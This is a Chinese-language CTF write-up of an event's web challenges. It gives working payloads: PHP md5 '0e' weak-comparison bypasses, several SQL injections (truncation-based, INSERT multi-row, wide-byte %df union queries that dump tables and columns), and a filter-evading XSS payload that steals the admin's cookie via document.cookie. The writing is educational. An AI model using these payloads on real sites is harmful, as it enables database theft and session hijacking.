前段时间一直忙于各种事,最近刚好有时间,所以还是总结下isg的web题目,避免以后忘记…
没什么可说的,前段时间遇到过的题目,由于php的弱类型判断,所以如果传入两个值的md5值都为0e开头,就会出现0 == 0,绕过判断。
md5(‘240610708’) ‘s result is 0e462097431906509019562988736854.
md5(‘QNKCDZO’) ‘s result is 0e830400451993494058024219903391.
利用的是php数组比较的时候key会截断的bug。user[4294967296]时,即可绕过条件限制。剩下就是爆破时间戳。 这里有两个链接
https://bugs.php.net/bug.php?id=69892 http://www.sektioneins.de/blog/15-07-31-php_challenge_2015.html
题目是封装在一个apk里面的,所以当时做题目的时候也没想过要打开看看,但其实题目很简单,在apk可以发现一个接口,提交的secret会判断和服务器是否相同,通过json方式发包,一般来说,传入的字符会被当作字符串,但是这里经过json_decode,会恢复数据类型,这里就可以利用php的弱类型比较,php官方文档里关于弱类型比较的部分是这样的:
部分源码给出是这样的:
if($_GET['search']){
$username = $_SESSION['username'];
$title = mysql_real_escape_string($_GET['search']);
$sql = "select * from posts where username='$username' and title like '$title'";
$result = mysql_query($sql);
这里通过看了大牛的writeup,让我见识到了不同方式的注入,这里就用了一个奇妙的方式bypass。
search的时候会把_SESSION['username']直接带入语句中,而_SESSION['username']来自数据库。程序进行了两次escape,导致没法直接二次注入。考虑用数据库字段长度的截断来bypass。
首先fuzz出数据库username字段的长度,然后把最后一位改为,这样经过 php 转义之后就成了\,但是因为\入库的时候字段 长度限制只能留下一个,这样等再次 select 出来的时候就能逃逸单引号了。
注册登陆后直接search出flag:
index.php?search=%20union%20select%201,2,(select%20flag%20from%20flag),4%23
上传后的文件会被重命名,文件名与注册的用户名有关,而用户名做了正则判断,不允许特殊字符。当时只发现了这么几点,后来看writeup才知道:
在注册的email处有注入,可以用insert注入插入多行,额外新建一个salt.php的用户,利用Apache的解析问题即可获取flag。
md5@salt.com','1'),('salt.php',md5('salt'),'2','2')#
题目是这样的: 1、请用最新版chrome测试 2、最终的payload的形式是一个url,payload会在站内触发,请不要发送到我的邮箱。 3、admin只会点你发过去的本站内url,任何不是url的东西都不会去碰。另外admin不能访问外部的服务器。
打开题目稍微测试了下,发现大部分有用的字符统统被过滤,而且script和on也被过滤,但是还是年轻,本能以为改变大小写肯定没用,所以当时没有试过,但是题目其实还是有不少坑,不仅仅是弹窗就可以得到flag: 1、替换script,当然可以用scscriptript绕过,这样顺带把chrome自带的xss filter绕过了。 2、启用了CSP,只允许引用本站脚本。利用回显的点,构造出xsspayload,多余的报错信息需要注释掉。 3、url编码。因为会涉及到一个页面的多次嵌套引用,payload里哪些地方需要编码哪些不用要想清楚。 4、server限制了不能访问外网,考虑让admin发信息给自己将xss得到的敏感信息返回。 5、payload要发送给admin,这时候又会经过一次script替换。
所以综合起来payload就是这样的
http://202.120.7.136:8888/html/index.php?action=send&content=%3Cscrscriscriptptipt%20src%3D%22http%3A//202.120.7.136:8888/html/index.php%3Faction%3Dsend%26to=*/%26content%3Dwindow.location%253D%2522http%253A//202.120.7.136:8888/html/index.php%253Faction%253Dsend%2526content%253D%2522%252Bdocument.cookie%252B%2522%2526to%253Dmd5_salt%2522/*%22%3E%3C/scscrscriptiptript%3E
这样看不太清晰,让我们url解码下就能看出端倪了
<scrscriscriptptipt src="http://202.120.7.136:8888/html/index.php?action=send&to=*/&content=window.location%3D%22http%3A//202.120.7.136:8888/html/index.php%3Faction%3Dsend%26content%3D%22%2Bdocument.cookie%2B%22%26to%3Dmd5_salt%22/*"></scscrscriptiptript>
再去掉过滤:
<script src="http://202.120.7.136:8888/html/index.php?action=send&to=*/&content=window.location%3D%22http%3A//202.120.7.136:8888/html/index.php%3Faction%3Dsend%26content%3D%22%2Bdocument.cookie%2B%22%26to%3Dmd5_salt%22/*"></script>
admin看到后会打开并发送
window.location="http://202.120.7.136:8888/html/index.php?action=send&content="+document.cookie+"&to=md5_salt"
这样就能获取admin的flag了
题目不难,只要找到注入点就很容易跑出flag。 这里主要用到的是%df的宽字节,听说扔进sqlmap都可以直接跑出来;
先跑表名:
http://202.120.7.140:8888/try.php?fruit=flag%df%27+and+1=2+union+select+group_concat(distinct+table_name),2+from+information_schema.tables+where+table_schema=database()%23
fruit,tell_me_who_u_are 再跑列名:
flag%df%27+and+1=2+union+select+group_concat(distinct+column_name),2+from+information_schema.columns+where+table_name=0x74656c6c5f6d655f77686f5f755f617265%23
flag 最后查查看
flag%df%27+and+1=2+union+select+group_concat(flag),2+from+tell_me_who_u_are%23
get!
在注册页面中尝试admin加上多个%0a注册,登录,绕过了admin的检查。得到提示,只有本地用户可以得到调试信息,于是将XXF改成127.0.0.1,得到如下调试信息:
function runmagicquotes(&$svar){
if(!getmagicquotesgpc()){
if( isarray($svar) ){
foreach($ svar as $k => $v)
$svar[$k] = runmagicquotes($v);
}
else{
$svar = addslashes($svar);
}
}
return $svar;
}
...... ......
register($username, $password, $email, $is_super);
存在全局变量覆盖的问题,重新注册admin加上多个%0a的账号,加个is_super=1的参数,登录得到flag
web的题目大概就这么多了,虽然这次成绩不好,但是还是见识了很多没有见过的东西,也算是开心了,唯一可惜的就是最后102名,没能拿到100的证书。不过,管他呢